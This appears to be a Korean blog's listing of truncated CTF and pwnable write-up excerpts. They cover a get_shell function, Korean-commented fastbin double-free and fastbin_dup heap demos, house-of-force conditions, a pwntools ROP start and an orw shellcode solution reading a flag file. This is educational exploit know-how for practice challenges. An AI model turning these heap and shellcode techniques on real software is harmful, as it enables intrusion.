1234567int __cdecl main(int argc, const char **argv, const char **envp){ char buf; // [rsp+0h] [rbp-10h] read(0, &buf, 256uLL); return 0;}Colored by Color Scriptercs IDA로 보면 read 받고 끝난다. 그리고 1234int get_shell(){ return system("/bin/sh");}c 이런 함수도 있는데 PIE가 걸려있음. 근데 어셈블리로 보면 12345678910111213141516171819.text:00000000000007A8 push rbp.text:00000000000007A9 mov rbp, rsp.text:00000000000007AC sub rs..
친구랑 https://github.com/yacropolisy/pwn_challenge_list/blob/764c8661b5c7f1f07bedb629cd40dd7180bb529e/pwn_list.md 여기 문제들 푸는 중인데 재밌는 문제가 있었다. 스태틱이길래 strace 해봤는데 read 하고 무슨 문자열 출력하고 끝난다. 대충 IDA로 분석 좀 해보면12345678910111213141516171819void *sub_8048F8F(){ void **v0; // edx void *result; // eax char *v2; // [esp+0h] [ebp-8h] char *v3; // [esp+4h] [ebp-4h] void *retaddr; // [esp+Ch] [ebp+4h] array[idx++]..
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051#include #include int main(){ fprintf(stderr, "이 파일은 fastbin_dup.c 의 확장이다.\n" "malloc을 속여서 포인터를 컨트롤 된 위치에 리턴한다.(이 경우, 스택이다.)\n"); unsigned long long stack_var; fprintf(stderr, "우리가 원하는 malloc()이 리턴하기 원하는 주소는 %p이다.\n", 8+(char *)&stack_var); fprintf(stderr, "3개의 버퍼를 할당합니다.\n"); int *a = malloc(8); int *b ..
123456789101112131415161718192021222324252627282930313233#include #include int main(){ fprintf(stderr, "이 파일은 fastbins 에서의 double-free 공격을 입증합니다.\n"); fprintf(stderr, "3개의 버퍼를 할당합니다.\n"); int *a = malloc(8); int *b = malloc(8); int *c = malloc(8); fprintf(stderr, "1st malloc(8): %p\n", a); fprintf(stderr, "2nd malloc(8): %p\n", b); fprintf(stderr, "3rd malloc(8): %p\n", c); fprintf(stderr, "첫번째 ..
프로그램 자체는 간단합니다. 1번이 readData, 2번이 writeData 입니다. 123456789101112131415unsigned __int64 __fastcall readData(__int64 a1){ __int64 idx; // rax int v3; // [rsp+4h] [rbp-14h] unsigned __int64 v4; // [rsp+8h] [rbp-10h] v4 = __readfsqword(0x28u); puts("Which entry to show?"); v3 = 0; __isoc99_scanf("%u", &v3); idx = (12 * v3); if ( idx
babypwn 123456_int64 copy(){ char v1; // [rsp+0h] [rbp-80h] return __isoc99_scanf((__int64)&unk_402008, (__int64)&v1);}Colored by Color Scriptercs 여기서 overflow가 일어나고 Nx와 full relro가 걸려있다. rop 하면 된다 그냥1234567891011121314151617181920212223242526272829303132333435363738from pwn import * #context.log_level = 'debug' #p = remote('baby.uni.hctf.fun',25251) p = process('./babypwn')e = ELF('./babypwn') ..
house of force가 가능하려면 1. heap overflow가 일어나 top chunk를 overwrite 할 수 있어야 하고2. 원하는 만큼 malloc이 가능해야 한다.3. 그리고 malloc할 때 원하는 값을 쓸 수 있어야한다. house of force를 이용한 공격방법을 생각해보면첫번째 malloc을 한 chunk에서 heap overflow가 일어나 top chunk를 overwrite 할 수 있어야하고두번째 malloc을 할 때 malloc size를 임의로 조정할 수 있어야한다그리고 세번째 malloc을 할 때 자신이 원하는 값을 chunk에 쓸 수 있어야한다. //2019-02-19 hof 를 더불어 unsorted bin attack이나 fastbin duplicate 문제 풀..
옛날에 풀었었는데 우연히 어떤 분 블로그를 보고 pwntools의 shellcraft라는것을 접하게 되어 다시 풀어보았다. 12345678910111213from pwn import * p = remote('chall.pwnable.tw',10001) payload=asm(shellcraft.open("/home/orw/flag"))payload+=asm(shellcraft.read("eax","esp",0x100))payload+=asm(shellcraft.write(1,"esp",0x100)) p.sendline(payload) p.recvuntil("shellcode:")print p.recvline() Colored by Color Scriptercs 이렇게 간단하다. 간단히 설명하면 open으로..
대충 바이너리의 동작은 포켓몬을 잡고, 관리하는 동작을 하는 바이너리이다. 메뉴가 이렇게 5개로 구성이 되고 1번 메뉴에서 풀숲으로 들어가 포켓몬을 잡을 수 있다. 1번 메뉴 내부의 함수로 들어가면 이렇게 나오는데 넘겨지는 인자에 따라 포켓몬 정보를 가지고 fight 함수를 실행한다. (인자가 1이면 charizard, 2이면 kakuna) fight 함수에서는 1,2,3번 메뉴가 있는데 1번은 공격, 2번은 포켓볼 던지기, 3번은 도망치기 이다. 이렇게 포켓몬을 잡을 수 있는데 이 부분은 fight 함수에서 포켓몬을 잡고 추가할 때 인벤토리가 다 차있을 경우에 예외처리를 해주는 부분이다. 그런데 choose pokemon으로 포켓몬을 선택한 후 해당 포켓몬을 free 하고 그 위치에 잡은 포켓몬을 대입..